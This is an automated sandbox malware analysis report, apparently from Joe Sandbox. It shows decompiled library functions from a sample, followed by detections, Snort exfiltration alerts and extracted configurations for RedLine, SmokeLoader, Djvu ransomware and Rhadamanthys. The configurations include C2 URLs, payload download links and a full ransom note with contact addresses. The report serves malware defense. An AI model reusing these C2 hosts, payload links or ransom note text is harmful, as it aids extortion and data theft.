Instruction Fuzzy Hash: A651EAB1910208ABC704DF59CC41B9AFBF8EF49710F14862FF954A77C1E778AA448B99

Uniqueness

Uniqueness Score: -1.00%

Function 0041710F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 69%

			E0041710F(void* __ecx, void* __edx, signed char* _a4, signed char* _a8, intOrPtr _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				signed int _v8;
				signed int _v12;
				intOrPtr* _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				signed int _v36;
				void* _v40;
				intOrPtr _v44;
				signed int _v48;
				intOrPtr _v56;
				void _v60;
				signed char* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t74;
				void* _t75;
				char _t76;
				signed char _t78;
				signed int _t80;
				signed char* _t81;
				signed int _t82;
				signed int _t83;
				intOrPtr* _t87;
				void* _t90;
				signed char* _t93;
				intOrPtr* _t96;
				signed char _t97;
				intOrPtr _t98;
				intOrPtr _t99;
				intOrPtr* _t101;
				signed int _t102;
				signed int _t103;
				signed char _t108;
				signed char* _t111;
				signed int _t112;
				void* _t113;
				signed char* _t116;
				void* _t121;
				signed int _t123;
				void* _t130;
				void* _t131;

				_t110 = __edx;
				_t100 = __ecx;
				_t96 = _a4;
				if( *_t96 == 0x80000003) {
					return _t74;
				} else {
					_t75 = E004169EE(_t96, __ecx, __edx, _t113, _t121, _t113, _t121);
					if( *((intOrPtr*)(_t75 + 8)) != 0) {
						__imp__EncodePointer(0);
						_t121 = _t75;
						if( *((intOrPtr*)(E004169EE(_t96, __ecx, __edx, 0, _t121) + 8)) != _t121 &&  *_t96 != 0xe0434f4d &&  *_t96 != 0xe0434352) {
							_t87 = E00414348(__edx, 0, _t121, _t96, _a8, _a12, _a16, _a20, _a28, _a32);
							_t130 = _t130 + 0x1c;
							if(_t87 != 0) {
								L16:
								return _t87;
							}
						}
					}
					_t76 = _a20;
					_v24 = _t76;
					_v20 = 0;
					if( *((intOrPtr*)(_t76 + 0xc)) > 0) {
						_push(_a28);
						E0041427B(_t96, _t100, 0, _t121,  &_v40,  &_v24, _a24, _a16, _t76);
						_t112 = _v36;
						_t131 = _t130 + 0x18;
						_t87 = _v40;
						_v16 = _t87;
						_v8 = _t112;
						if(_t112 < _v28) {
							_t102 = _t112 * 0x14;
							_v12 = _t102;
							do {
								_t103 = 5;
								_t90 = memcpy( &_v60,  *((intOrPtr*)( *_t87 + 0x10)) + _t102, _t103 << 2);
								_t131 = _t131 + 0xc;
								if(_v60 <= _t90 && _t90 <= _v56) {
									_t93 = _v44 + 0xfffffff0 + (_v48 << 4);
									_t108 = _t93[4];
									if(_t108 == 0 ||  *((char*)(_t108 + 8)) == 0) {
										if(( *_t93 & 0x00000040) == 0) {
											_push(0);
											_push(1);
											E00416CEA(_t112, _t96, _a8, _a12, _a16, _a20, _t93, 0,  &_v60, _a28, _a32);
											_t112 = _v8;
											_t131 = _t131 + 0x30;
										}
									}
								}
								_t112 = _t112 + 1;
								_t87 = _v16;
								_t102 = _v12 + 0x14;
								_v8 = _t112;
								_v12 = _t102;
							} while (_t112 < _v28);
						}
						goto L16;
					}
					E0041D1C9(_t96, _t100, _t110, 0, _t121);
					asm("int3");
					_t111 = _v68;
					_push(_t96);
					_push(_t121);
					_push(0);
					_t78 = _t111[4];
					if(_t78 == 0) {
						L41:
						_t80 = 1;
					} else {
						_t101 = _t78 + 8;
						if( *_t101 == 0) {
							goto L41;
						} else {
							_t116 = _a4;
							if(( *_t111 & 0x00000080) == 0 || ( *_t116 & 0x00000010) == 0) {
								_t97 = _t116[4];
								_t123 = 0;
								if(_t78 == _t97) {
									L33:
									if(( *_t116 & 0x00000002) == 0 || ( *_t111 & 0x00000008) != 0) {
										_t81 = _a8;
										if(( *_t81 & 0x00000001) == 0 || ( *_t111 & 0x00000001) != 0) {
											if(( *_t81 & 0x00000002) == 0 || ( *_t111 & 0x00000002) != 0) {
												_t123 = 1;
											}
										}
									}
									_t80 = _t123;
								} else {
									_t82 = _t97 + 8;
									while(1) {
										_t98 =  *_t101;
										if(_t98 !=  *_t82) {
											break;
										}
										if(_t98 == 0) {
											L29:
											_t83 = _t123;
										} else {
											_t99 =  *((intOrPtr*)(_t101 + 1));
											if(_t99 !=  *((intOrPtr*)(_t82 + 1))) {
												break;
											} else {
												_t101 = _t101 + 2;
												_t82 = _t82 + 2;
												if(_t99 != 0) {
													continue;
												} else {
													goto L29;
												}
											}
										}
										L31:
										if(_t83 == 0) {
											goto L33;
										} else {
											_t80 = 0;
										}
										goto L42;
									}
									asm("sbb eax, eax");
									_t83 = _t82 | 0x00000001;
									goto L31;
								}
							} else {
								goto L41;
							}
						}
					}
					L42:
					return _t80;
				}
			}

0x0041710f
0x0041710f
0x00417116
0x0041711f
0x0041723e
0x00417125
0x00417127
0x00417131
0x00417134
0x0041713a
0x00417144
0x00417169
0x0041716e
0x00417173
0x0041723a
0x00000000
0x0041723b
0x00417173
0x00417144
0x00417179
0x0041717c
0x0041717f
0x00417185
0x0041718b
0x0041719d
0x004171a2
0x004171a5
0x004171a8
0x004171ab
0x004171ae
0x004171b4
0x004171ba
0x004171bd
0x004171c0
0x004171cf
0x004171d0
0x004171d0
0x004171d5
0x004171e8
0x004171ea
0x004171ef
0x004171fa
0x004171fc
0x004171fe
0x0041721a
0x0041721f
0x00417222
0x00417222
0x004171fa
0x004171ef
0x00417228
0x00417229
0x0041722c
0x0041722f
0x00417232
0x00417235
0x004171c0
0x00000000
0x004171b4
0x0041723f
0x00417244
0x00417248
0x0041724b
0x0041724c
0x0041724d
0x0041724e
0x00417253
0x004172cb
0x004172cd
0x00417255
0x00417255
0x0041725b
0x00000000
0x0041725d
0x00417260
0x00417263
0x0041726a
0x0041726d
0x00417271
0x004172a3
0x004172a6
0x004172ad
0x004172b3
0x004172bd
0x004172c6
0x004172c6
0x004172bd
0x004172b3
0x004172c7
0x00417273
0x00417273
0x00417276
0x00417276
0x0041727a
0x00000000
0x00000000
0x0041727e
0x00417292
0x00417292
0x00417280
0x00417280
0x00417286
0x00000000
0x00417288
0x00417288
0x0041728b
0x00417290
0x00000000
0x00000000
0x00000000
0x00000000
0x00417290
0x00417286
0x0041729b
0x0041729d
0x00000000
0x0041729f
0x0041729f
0x0041729f
0x00000000
0x0041729d
0x00417296
0x00417298
0x00000000
0x00417298
0x00000000
0x00000000
0x00000000
0x00417263
0x0041725b
0x004172ce
0x004172d2
0x004172d2

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00417134

Strings

RCC, xrefs: 0041714E
MOC, xrefs: 00417146

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 2a40fb4bdf83400d2650afdc796ba9e505080c47c9f2870ea470e087ecee65f9
Instruction ID: d458f8df66f3d856a3ef55368f4534f47102a0e82d5f8415460ec7bf2e3ef8d2
Opcode Fuzzy Hash: 2a40fb4bdf83400d2650afdc796ba9e505080c47c9f2870ea470e087ecee65f9
Instruction Fuzzy Hash: 7A417C71900209AFCF16DF98CD81AEEBBB5FF48304F15819AF904A7211D339D991DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00407040 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00407040(intOrPtr* __ecx, void* __eflags) {
				char _v8;
				char _v16;
				intOrPtr* _v20;
				void* _v24;
				intOrPtr* _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t45;
				intOrPtr _t51;
				intOrPtr* _t52;
				intOrPtr _t53;
				intOrPtr* _t54;
				intOrPtr _t55;
				void* _t56;
				intOrPtr* _t57;
				intOrPtr* _t60;
				intOrPtr* _t66;
				intOrPtr _t67;
				intOrPtr* _t70;
				intOrPtr _t71;
				void* _t72;
				intOrPtr* _t73;
				void* _t75;
				intOrPtr _t76;
				intOrPtr* _t77;
				signed int _t79;

				_push(0xffffffff);
				_push(0x4319d0);
				_push( *[fs:0x0]);
				_push(_t56);
				_push(_t75);
				_push(_t72);
				_t45 =  *0x443048; // 0x7239e5fc
				_push(_t45 ^ _t79);
				 *[fs:0x0] =  &_v16;
				_v20 = __ecx;
				_v28 = __ecx;
				_v28 = __ecx;
				 *__ecx = 0x43e9d0;
				_t76 = E0041362C(_t56, _t72, _t75, __eflags, 8);
				asm("xorps xmm0, xmm0");
				asm("movq [esi], xmm0");
				_push(1);
				_v8 = 0;
				 *((intOrPtr*)(_t76 + 4)) = E00412660(_t56, _t72, _t76, __eflags);
				_t51 = _v20;
				_t66 = _t51 + 0x18;
				_t70 = _t51 + 0x24;
				_t73 = _t51 + 0x14;
				 *((intOrPtr*)(_t51 + 0x34)) = _t76;
				_t57 = _t51 + 4;
				 *((intOrPtr*)(_t51 + 0xc)) = _t57;
				_t77 = _t51 + 8;
				 *((intOrPtr*)(_t51 + 0x20)) = _t66;
				 *((intOrPtr*)(_t51 + 0x2c)) = _t70;
				 *((intOrPtr*)(_t51 + 0x10)) = _t77;
				 *((intOrPtr*)(_t51 + 0x1c)) = _t73;
				_t52 = _t51 + 0x28;
				_v24 = _t57;
				_v28 = _t52;
				 *((intOrPtr*)(_v20 + 0x30)) = _t52;
				 *_t77 = 0;
				 *_t66 = 0;
				 *_t52 = 0;
				_t53 = _v20;
				 *_v24 = 0;
				_t60 = _v20;
				 *_t73 = 0;
				 *_t70 = 0;
				 *((intOrPtr*)(_t53 + 0x20)) = _t66;
				 *_t60 = 0x43ea30;
				 *((char*)(_t60 + 0x48)) = 0;
				 *((char*)(_t60 + 0x3d)) = 0;
				 *((intOrPtr*)(_t53 + 0xc)) = _v24;
				 *((intOrPtr*)(_t53 + 0x2c)) = _t70;
				 *((intOrPtr*)(_t53 + 0x10)) = _t77;
				 *((intOrPtr*)(_t53 + 0x1c)) = _t73;
				_t54 = _v28;
				 *((intOrPtr*)(_v20 + 0x30)) = _t54;
				 *_t77 = 0;
				 *_t66 = 0;
				_t67 =  *0x444f50; // 0x0
				 *_t54 = 0;
				_t55 = _v20;
				 *_v24 = 0;
				 *_t73 = 0;
				 *_t70 = 0;
				_t71 =  *0x444f54; // 0x0
				 *((intOrPtr*)(_t55 + 0x4c)) = 0;
				 *((intOrPtr*)(_t55 + 0x40)) = _t67;
				 *((intOrPtr*)(_t55 + 0x44)) = _t71;
				 *((intOrPtr*)(_t55 + 0x38)) = 0;
				 *[fs:0x0] = _v16;
				return _t55;
			}

0x00407043
0x00407045
0x00407050
0x00407054
0x00407055
0x00407056
0x00407057
0x0040705e
0x00407062
0x0040706a
0x0040706d
0x00407072
0x00407075
0x00407080
0x00407082
0x00407085
0x00407089
0x0040708b
0x00407097
0x0040709d
0x004070a0
0x004070a3
0x004070a6
0x004070a9
0x004070ac
0x004070af
0x004070b2
0x004070b5
0x004070b8
0x004070bb
0x004070be
0x004070c1
0x004070c4
0x004070ca
0x004070cd
0x004070d3
0x004070d9
0x004070df
0x004070e5
0x004070e8
0x004070ee
0x004070f1
0x004070f7
0x004070fd
0x00407100
0x00407106
0x0040710a
0x00407111
0x00407117
0x0040711a
0x0040711d
0x00407120
0x00407123
0x00407129
0x0040712f
0x00407135
0x0040713b
0x00407141
0x00407144
0x0040714a
0x00407150
0x00407156
0x0040715c
0x00407163
0x00407166
0x00407169
0x00407173
0x00407181

APIs

std::locale::_Init.LIBCPMT ref: 00407092

Part of subcall function 00412660: __EH_prolog3.LIBCMT ref: 00412667
Part of subcall function 00412660: std::_Lockit::_Lockit.LIBCPMT ref: 00412672
Part of subcall function 00412660: std::locale::_Setgloballocale.LIBCPMT ref: 0041268D
Part of subcall function 00412660: _Yarn.LIBCPMT ref: 004126A3
Part of subcall function 00412660: std::_Lockit::~_Lockit.LIBCPMT ref: 004126E3

Strings

P_@, xrefs: 00407075
_@, xrefs: 00407100

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3InitLockit::_Lockit::~_SetgloballocaleYarn
String ID: _@$P_@
API String ID: 3852638621-4293464667
Opcode ID: 5eacaf69455bbf3adc1bac80b9a36896f5fa2a1439a21d4e39757576f9f38aa9
Instruction ID: 7be0e8f9f6de9a8e6829aca24daf0f72573013ab6ac6fb37b57ee9c761daf7a2
Opcode Fuzzy Hash: 5eacaf69455bbf3adc1bac80b9a36896f5fa2a1439a21d4e39757576f9f38aa9
Instruction Fuzzy Hash: 8B41D5B4900315CFD740CF59D990B9ABBF4FF09310F1145AAD908AB3A2E3B99944CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 004126F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 34%

			E004126F0(void* __ecx, void* __esi, intOrPtr _a4) {
				intOrPtr* _v8;
				char _v12;
				intOrPtr* _t18;
				intOrPtr* _t21;
				intOrPtr _t25;
				signed int _t37;

				_push(__ecx);
				_push(__ecx);
				_t25 = _a4;
				E0041247D( &_v12, 0);
				_t37 =  *(_t25 + 0xc);
				if(_t37 == 0) {
					L7:
					E0041AC1E( *((intOrPtr*)(_t25 + 8)));
					return E004124D5( &_v12);
				}
				do {
					_t37 = _t37 - 1;
					_t18 =  *((intOrPtr*)( *((intOrPtr*)(_t25 + 8)) + _t37 * 4));
					_v8 = _t18;
					if(_t18 != 0) {
						 *0x4331a4();
						_t21 =  *((intOrPtr*)( *((intOrPtr*)( *_t18 + 8))))();
						_v8 = _t21;
						if(_t21 != 0) {
							 *0x4331a4(1);
							 *((intOrPtr*)( *((intOrPtr*)( *_t21))))();
						}
					}
				} while (_t37 != 0);
				goto L7;
			}

0x004126f3
0x004126f4
0x004126f6
0x004126ff
0x00412704
0x00412709
0x0041274b
0x0041274e
0x0041275f
0x0041275f
0x0041270c
0x0041270f
0x00412710
0x00412713
0x00412718
0x00412721
0x0041272a
0x0041272c
0x00412731
0x0041273b
0x00412744
0x00412744
0x00412731
0x00412746
0x00000000

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 004126FF
std::_Lockit::~_Lockit.LIBCPMT ref: 00412757

Strings

0'@, xrefs: 00412721, 0041273B

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: 0'@
API String ID: 593203224-1999884151
Opcode ID: de1483b12276fc6f5eb4b011178078128f1061385cc6e76926f2bf0edf41edee
Instruction ID: 6fd8943e669119d7ec51c0b49802595411a9acec9e5ce50be34f68a5b4cfed9f
Opcode Fuzzy Hash: de1483b12276fc6f5eb4b011178078128f1061385cc6e76926f2bf0edf41edee
Instruction Fuzzy Hash: C4014C35600505EFCB05DF55CA95D9ABBB5AF84710B14409AE9059B3A1EFB0EE80CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00414B7B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 16%

			E00414B7B(intOrPtr* _a4, signed char* _a8) {
				signed char* _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				intOrPtr* _t15;
				DWORD* _t17;
				intOrPtr _t18;
				intOrPtr _t21;
				intOrPtr* _t23;
				signed char* _t25;
				void* _t26;

				_t15 = _a4;
				_t25 = _a8;
				_t21 = 0x19930520;
				_v20 = _t15;
				if(_t25 == 0) {
					L5:
					_t10 =  &_v20; // 0x4123ef
					_v12 =  *_t10;
					_t17 =  &_v16;
					_v16 = _t21;
					_v8 = _t25;
					RaiseException(0xe06d7363, 1, 3, _t17);
					return _t17;
				}
				if(( *_t25 & 0x00000010) == 0) {
					L3:
					if(( *_t25 & 0x00000008) != 0) {
						_t21 = 0x1994000;
					}
					goto L5;
				}
				_t23 =  *_t15 - 4;
				_t18 =  *_t23;
				_t6 = _t18 + 0x20; // 0x0
				_t7 = _t18 + 0x18; // 0x4418ec
				_t25 =  *_t7;
				 *0x4331a4(_t23, _t26);
				 *((intOrPtr*)( *_t6))();
				if(_t25 == 0) {
					goto L5;
				}
				goto L3;
			}

0x00414b81
0x00414b86
0x00414b89
0x00414b8e
0x00414b93
0x00414bc2
0x00414bc2
0x00414bc5
0x00414bc8
0x00414bd5
0x00414bd8
0x00414bdb
0x00414be4
0x00414be4
0x00414b98
0x00414bb8
0x00414bbb
0x00414bbd
0x00414bbd
0x00000000
0x00414bbb
0x00414b9c
0x00414ba1
0x00414ba3
0x00414ba8
0x00414ba8
0x00414bab
0x00414bb1
0x00414bb6
0x00000000
0x00000000
0x00000000

APIs

RaiseException.KERNEL32(E06D7363,00000001,00000003,?,?,?,?,004123EF,?,00441908,00402904,string too long,00402904,?,?,?), ref: 00414BDB

Strings

#A, xrefs: 00414BC2
0'@, xrefs: 00414BAB

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: ExceptionRaise
String ID: 0'@$#A
API String ID: 3997070919-2128406668
Opcode ID: 4448a2e252afef4bf1126883b95734932f5fca6c41fa96ffda61e212ad3e9f0e
Instruction ID: effdd90de390f4434539d58b8c5eaf0cb76ce4bbf9f056b46b12c201dad2b2f8
Opcode Fuzzy Hash: 4448a2e252afef4bf1126883b95734932f5fca6c41fa96ffda61e212ad3e9f0e
Instruction Fuzzy Hash: DA01A275A00208AFCB059F68D980B9EBBF8FF84710F15415AEA55AB390D770EE40CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 004234AC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E004234AC(void* __eflags, struct _CRITICAL_SECTION* _a4, long _a8, intOrPtr _a12) {
				intOrPtr* _t11;

				_t11 = E0042319F(0xe, "InitializeCriticalSectionEx", 0x437378, 0x437380);
				if(_t11 == 0) {
					return InitializeCriticalSectionAndSpinCount(_a4, _a8);
				}
				 *0x4331a4(_a4, _a8, _a12);
				return  *_t11();
			}

0x004234c8
0x004234cf
0x00000000
0x004234ec
0x004234dc
0x00000000

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00000FA0,-00000020,00421CE3,-00000020,00000FA0,00000000,00000002,00000040,?,7239E5FC), ref: 004234EC

Strings

InitializeCriticalSectionEx, xrefs: 004234BC
0'@, xrefs: 004234DC

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: 0'@$InitializeCriticalSectionEx
API String ID: 2593887523-1065118902
Opcode ID: 21c627221255b91780c5cf942384412f78e7e91c2c5f48854221c6c00cb33873
Instruction ID: 15c8f457bd513b11090f3eb9096ea7fe53204c1ecbb00c72ce381f777ba775fd
Opcode Fuzzy Hash: 21c627221255b91780c5cf942384412f78e7e91c2c5f48854221c6c00cb33873
Instruction Fuzzy Hash: D4E09232684228B7CF222F51DC06E9E7F21EB047A2F448122FD0815160CABE8A20E6C8

Uniqueness

Uniqueness Score: -1.00%

Function 00423332 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22
memoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00423332(void* __eflags, intOrPtr _a4) {
				intOrPtr* _t7;

				_t7 = E0042319F(0x1e, "FlsAlloc", 0x437418, 0x437420);
				if(_t7 == 0) {
					return TlsAlloc();
				}
				 *0x4331a4(_a4);
				return  *_t7();
			}

0x0042334e
0x00423355
0x00000000
0x00423366
0x0042335c
0x00000000

APIs

TlsAlloc.KERNEL32 ref: 00423366

Strings

FlsAlloc, xrefs: 00423342
0'@, xrefs: 0042335C

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: Alloc
String ID: 0'@$FlsAlloc
API String ID: 2773662609-3437125672
Opcode ID: d0521f316c186076e85c0e7d99fd5a43a8ed6391bc7b8b5742bd1b257a1712c1
Instruction ID: e6d9a41c36321a43309d7c432a8ff7bc219acdd39542b85e451266cd1ef2c48d
Opcode Fuzzy Hash: d0521f316c186076e85c0e7d99fd5a43a8ed6391bc7b8b5742bd1b257a1712c1
Instruction Fuzzy Hash: C0E07231B8023877C6203E60AC0AA9EBE24CB08BB3F400033FE00112808EAD0B1096ED

Uniqueness

Uniqueness Score: -1.00%

Function 0041E40D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041E40D() {

				 *0x444afc = GetCommandLineA();
				 *0x444b00 = GetCommandLineW();
				return 1;
			}

0x0041e413
0x0041e41e
0x0041e425

APIs

GetCommandLineA.KERNEL32 ref: 0041E40D
GetCommandLineW.KERNEL32 ref: 0041E418

Strings

P3f, xrefs: 0041E413

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: CommandLine
String ID: P3f
API String ID: 3253501508-3276232447
Opcode ID: de68ca8399ab76325e372adec481eb7b76d557d3fe888c1639c3f485e1507bfe
Instruction ID: 70c23cb0090479d647e0fb3c3e77e38a403cf0719dc92b4d7b37de3ce0558119
Opcode Fuzzy Hash: de68ca8399ab76325e372adec481eb7b76d557d3fe888c1639c3f485e1507bfe
Instruction Fuzzy Hash: 6BB048BCC002008BCB008F62B8192843BA0B28960338064B5D42182621DB384900DF28

Uniqueness

Uniqueness Score: -1.00%

Source: http://tempuri.org/Entity/Id19Responseon	URL Reputation: Label: phishing
Source: http://tempuri.org/Entity/Id19Responseon	URL Reputation: Label: phishing
Source: http://drampik.com/lancer/get.php	Avira URL Cloud: Label: malware

Source: potunulit.org	Virustotal: Detection: 11%	Perma Link
Source: http://drampik.com/lancer/get.php	Virustotal: Detection: 11%	Perma Link
Source: 89.208.103.88:37538	Virustotal: Detection: 5%	Perma Link

Source: C:\Users\user\AppData\Local\Temp\226F.exe	ReversingLabs: Detection: 43%
Source: C:\Users\user\AppData\Local\Temp\226F.exe	Virustotal: Detection: 39%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\2560.exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Local\Temp\336E.exe	ReversingLabs: Detection: 80%
Source: C:\Users\user\AppData\Local\Temp\5898187.dll	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Roaming\dbjigst	ReversingLabs: Detection: 84%
Source: C:\Users\user\AppData\Roaming\nsis_uns5aa2a3.dll	ReversingLabs: Detection: 61%

Source: C:\Users\user\AppData\Local\Temp\2560.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\dbjigst	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\5898187.dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Library.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\226F.exe	Joe Sandbox ML: detected

Source: Traffic	Snort IDS: 2043233 ET TROJAN RedLine Stealer TCP CnC net.tcp Init 192.168.2.3:49733 -> 89.208.103.88:37538
Source: Traffic	Snort IDS: 2043231 ET TROJAN Redline Stealer TCP CnC Activity 192.168.2.3:49733 -> 89.208.103.88:37538
Source: Traffic	Snort IDS: 2043234 ET MALWARE Redline Stealer TCP CnC - Id1Response 89.208.103.88:37538 -> 192.168.2.3:49733
Source: Traffic	Snort IDS: 2043202 ET TROJAN Rhadamanthys Stealer - Payload Download Request 192.168.2.3:49735 -> 109.206.243.168:80
Source: Traffic	Snort IDS: 2853001 ETPRO TROJAN Rhadamanthys Stealer - Payload Response 109.206.243.168:80 -> 192.168.2.3:49735
Source: Traffic	Snort IDS: 2853002 ETPRO TROJAN Rhadamanthys Stealer - Data Exfil 192.168.2.3:49736 -> 109.206.243.168:80
Source: Traffic	Snort IDS: 2853002 ETPRO TROJAN Rhadamanthys Stealer - Data Exfil 192.168.2.3:49760 -> 109.206.243.168:80

Source: 0000000F.00000002.362651886.0000000004A00000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Djvu {"Download URLs": ["http://uaery.top/dl/build2.exe", "http://drampik.com/files/1/build3.exe"], "C2 url": "http://drampik.com/lancer/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-cud8EGMtyB\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelp@airmail.cc\r\n\r\nYour personal ID:\r\n0637JOsie", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Wi
Source: 0000000D.00000002.403573170.0000000004921000.00000004.10000000.00040000.00000000.sdmp	Malware Configuration Extractor: SmokeLoader {"C2 list": ["http://bulimu55t.net/", "http://soryytlic4.net/", "http://bukubuka1.net/", "http://novanosa5org.org/", "http://hujukui3.net/", "http://newzelannd66.org/", "http://golilopaster.org/"]}
Source: 00000010.00000003.469890360.00000000016EB000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: RedLine {"C2 url": "89.208.103.88:37538", "Bot Id": "birj proliv", "Authorization Header": "9941068ef2768ed5ba54fc3eed22d795"}

Source: Malware configuration extractor	URLs: http://drampik.com/lancer/get.php
Source: Malware configuration extractor	URLs: 89.208.103.88:37538
Source: Malware configuration extractor	URLs: http://bulimu55t.net/
Source: Malware configuration extractor	URLs: http://soryytlic4.net/
Source: Malware configuration extractor	URLs: http://bukubuka1.net/
Source: Malware configuration extractor	URLs: http://novanosa5org.org/
Source: Malware configuration extractor	URLs: http://hujukui3.net/
Source: Malware configuration extractor	URLs: http://newzelannd66.org/
Source: Malware configuration extractor	URLs: http://golilopaster.org/

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

